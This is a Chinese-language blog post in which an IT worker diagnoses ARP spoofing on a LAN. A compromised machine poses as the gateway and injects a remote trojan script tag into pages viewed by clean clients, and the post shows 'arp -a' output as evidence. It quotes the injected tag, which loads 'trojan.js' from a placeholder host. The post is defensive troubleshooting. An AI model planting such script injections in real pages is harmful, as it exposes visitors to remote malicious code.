前陣子解剖了一隻3合1木馬,結果該木馬又持續鬧了好幾天,也讓孤陋寡聞的我對病毒木馬的日新月益,再次大開眼界,讚嘆不已...

大部分人的刻板印象是,如果我的機器沒有沒有中毒、沒有中木馬、沒有惡意程式,網路上也沒有人狂送封包轟炸,我使用網路應該不致受到影響吧?? 

代誌並不像憨人所想的哈尼甘單~~~

上回話說該木馬會在你瀏覽網頁時偷偷在HTML前端加入<script src=httq://some_web/trojan.js></script>,而我一直很好奇這是怎麼做到的。

有台經過徹底掃毒、掃木馬、Windows Update也到最新的電腦,在"疫區"瀏覽網頁時還是發現網頁最前方被注入了惡意js。而悲慘的是,營運系統的網頁一向都使用VBScript作為Client-Script,當網頁最前端被加了一個JS,IE會自動判斷,把預設語言強制改回Javascript,網頁中像OnBlur="onBlurJob(Me)"的寫法就會出問題,導致網站無法使用。(Google了一下,有個Content-Script-Type Meta可以強制指定預設Script,但它是HTML 4.01的標準,測試也無法抵禦前方被Include JS Script的影響)

更有意思的事來了,當該機器換個IP移到另一個網段時,原本被偷加Script的狀況就消失了!!! 這是近朱者赤、近墨者黑嗎? (摩亞風 XD)

同事Pass給我一個URL,而我也陸續Google到幾篇不錯的說明: 1, 2

如以上文章所說,我的推論是: 當某台機器中了木馬或病毒,展開ARP Spoofing攻擊,它就有能力干擾同一個網段(LAN)裡所有Client機器的動態ARP Table,讓Default Gateway的MAC Address指向自己。接著發生什麼事? 當Client(即使是完全無毒的健康機器,甚至Linux、Mac也算在內)的瀏覽器要連上某個網站時,原本封包要送到Gateway轉送Internet,卻會因為ARP的動態MAC對應被篡改到中毒機器,而誤將封包送給中毒機器。中毒機器會將此封包經由真正的Gateway送到Internet、連上網站、取得回應,再轉手將資料送回給被蒙在鼔裡的Client。當然,中毒機器絕不是發了佛心自願當大家的免費Proxy,它的目的在於竊取傳輸內容、或在其中加料,偷偷加入惡意內容。

這樣我們就可以解釋為什麼乾淨的機器移到另一個網段後就不藥而瘉?

我實地用遠端桌面連上受影響的機器(假設為192.168.1.1)後,下了arp -a,果然發現異常:

Interface: 192.168.1.1 --- 0x10003
  Internet Address      Physical Address      Type
  192.168.1.1             00-04-5b-66-a4-a2     dynamic
  192.168.1.254         00-04-5b-66-a4-a2     dynamic

見鬼了,本機的IP MAC怎麼跟Gateway指向同一台?? 而且這個MAC跟ipconfig /all中看到的也不是同一個。
arp -d之後,我發現192.168.1.254又指向另一個MAC。當時我無從得知真正的Gateway MAC,不然用arp -s加上正確的Gateway MAC對應,應該馬上可以驗證推論,殘念。

至少,由這些觀察,可以確認疫區網段的arp運作受到干擾,我也結結實實地上了一堂木馬/病毒新知課程。


Comments

Be the first to post a comment

Post a comment